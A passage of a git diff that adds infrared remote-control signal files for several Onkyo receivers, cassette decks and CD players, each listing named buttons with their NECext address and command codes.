6 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 5C 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 5D 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 5E 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 25 00 00 +command: 5F 00 00 00 +# +name: ADJUST +type: parsed +protocol: NECext +address: D2 25 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown/210,109.ir new file mode 100644 index 000000000..78acff6fc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown/210,109.ir @@ -0,0 +1,614 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_PRESET_-> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNER_PRESET_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNER_PRESET_<- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: TUNER_PRESET_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: MASTER_VOL_^ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: MASTER_VOL_V +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: AUDIO_MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: TAPE-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: TAPE-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: VCR-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VCR-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VDP-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: DECK-B_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: DECKB_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: DECK-B_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: DECKB_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: DECK-B_PLAY_REV_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECKB_REV_PLAY_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECK-B_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: DECKB_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: DECK-B_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECKB_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECK-B_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: DECKB_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1B 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1C 00 00 00 +# +name: CD_SCAN_FWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1D 00 00 00 +# +name: CD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1D 00 00 00 +# +name: CD_SCAN_REV_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1E 00 00 00 +# +name: CD_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1E 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1F 00 00 00 +# +name: REAR_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 42 00 00 00 +# +name: REAR_LEVEL_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 42 00 00 00 +# +name: REAR_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 43 00 00 00 +# +name: REAR_LEVEL_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 43 00 00 00 +# +name: TUNER_CLASS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4A 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: DECK-A_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: DECKA_STOP_[] +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: DECK-A_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: DECKA_PLAY_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: DECK-A_PLAY_REV_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECKA_REV_PLAY_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECK-A_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 50 00 00 00 +# +name: DECKA_REC/PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 50 00 00 00 +# +name: DECK-A_FFWD_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECKA_>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECK-A_REW_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: DECKA_<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: SURROUND_DELAY_TIME +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 53 00 00 00 +# +name: DELAY_TIME +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 53 00 00 00 +# +name: MAIN_(SPEAKERS) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 59 00 00 00 +# +name: B_SUB_ROOM_REMOTE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5C 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 +# +name: PHONO_PLAY/REJECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5F 00 00 00 +# +name: CENTER_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 80 00 00 00 +# +name: CENTER_LEVEL_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 80 00 00 00 +# +name: CENTER_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 81 00 00 00 +# +name: CENTER_LEVEL_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 81 00 00 00 +# +name: CURSOR_^ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 00 00 00 +# +name: CURSOR_V +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: CURSOR_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: CURSOR_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: DIMMER_(SPEAKERS) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 95 00 00 00 +# +name: ENTER/ESCAPE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 97 00 00 00 +# +name: CENTER_ON/OFF +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 98 00 00 00 +# +name: CENTER_MODE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 99 00 00 00 +# +name: SURROUND_TEST +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: VDP-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: B_SUB_ROOM_CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: B_SUB_ROOM_PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: B_SUB_ROOM_TAPE_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: B_SUB_ROOM_TAPE_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: B_SUB_ROOM_TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: B_SUB_ROOM_VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: B_SUB_ROOM_VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: B_SUB_ROOM_VIDEO_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: B_SUB_ROOM_VIDEO_4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown/210,44.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown/210,44.ir new file mode 100644 index 000000000..ed97b8631 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown/210,44.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 00 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 01 00 00 00 +# +name: NEXT_SELECTION +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 05 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 06 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 08 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 09 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0E 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 18 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 19 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1A 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1B 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1C 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1D 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1E 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1F 00 00 00 +# +name: DISC_INTRO_SCAN +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 45 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 46 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D5 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D6 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D7 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D8 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: D9 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: DA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir new file mode 100644 index 000000000..bbed71598 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_PRESET_NEXT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNER_PRESET_PREVIOUS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: INPUT_SELECTOR_LINE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 06 00 00 00 +# +name: INPUT_SELECTOR_TAPE-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: INPUT_SELECTOR_TAPE-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: INPUT_SELECTOR_CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: INPUT_SELECTOR_FM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: DECK-B_STOP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: DECK-B_FORWARD_PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: DECK-B_REVERSE_PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECK-B_RECORD_PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: DECK-B_FAST_FORWARD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECK-B_FAST_REWIND +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1B 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1C 00 00 00 +# +name: CD_NEXT_TRACK +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1D 00 00 00 +# +name: CD_PREVIOUS_TRACK +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1E 00 00 00 +# +name: CD_PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1F 00 00 00 +# +name: TUNER_GROUP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4A 00 00 00 +# +name: DECK-A_STOP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: DECK-A_FORWARD_PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: DECK-A_REVERSE_PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECK-A_FAST_FORWARD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECK-A_FAST_REWIND +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir new file mode 100644 index 000000000..e50a428cb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 00 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 19 00 00 00 +# +name: Output+ +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 20 00 00 00 +# +name: Output- +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 21 00 00 00 +# +name: M.Scan +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 46 00 00 00 +# +name: RepeatAll +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 47 00 00 00 +# +name: RepeatA-B +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 48 00 00 00 +# +name: Skip/Search_Back +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 49 00 00 00 +# +name: Skip/Search_Forward +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 4A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 80 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 81 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 84 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 85 00 00 00 +# +name: Memory +type: parsed +protocol: NECext +address: A0 0A 00 00 +command: 8A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir new file mode 100644 index 000000000..fcf836be3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: Tuner-preset+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: Tuner-preset- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: Tape-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: Tape-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: Phono +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: Deck-b-stop +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: Deck-b-play-forward +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: Deck-b-play-back +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: Deck-b-rec/pause +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: Deck-b-fastforward +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: Deck-b-rewind +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: CD-play +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1B 00 00 00 +# +name: CD-stop +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1C 00 00 00 +# +name: CD-next +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1D 00 00 00 +# +name: CD-back +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1E 00 00 00 +# +name: CD-pause +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1F 00 00 00 +# +name: Tuner-class +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4A 00 00 00 +# +name: Deck-a-stop +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: Deck-a-play-forward +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: Deck-a-play-back +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: Deck-a-rec/pause +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 50 00 00 00 +# +name: Deck-a-fastforward +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: Deck-a-rewind +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: CD-eject +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir new file mode 100644 index 000000000..f436554a0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: FWD_SEEK +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 00 00 00 00 +# +name: REV_SEEK +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 01 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 05 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 06 00 00 00 +# +name: A_B +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 07 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 08 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 09 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0A 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0E 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 18 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 19 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1C 00 00 00 +# +name: FWD_SKIP +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1D 00 00 00 +# +name: REV_SKIP +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 1F 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 46 00 00 00 +# +name: TIME_EDIT +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 4D 00 00 00 +# +name: PEAK_SEARCH +type: parsed +protocol: NECext +address: D2 2C 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir new file mode 100644 index 000000000..a9cadf598 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 49 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 4A 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 4B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 4C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 4D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 4E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 4F 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext 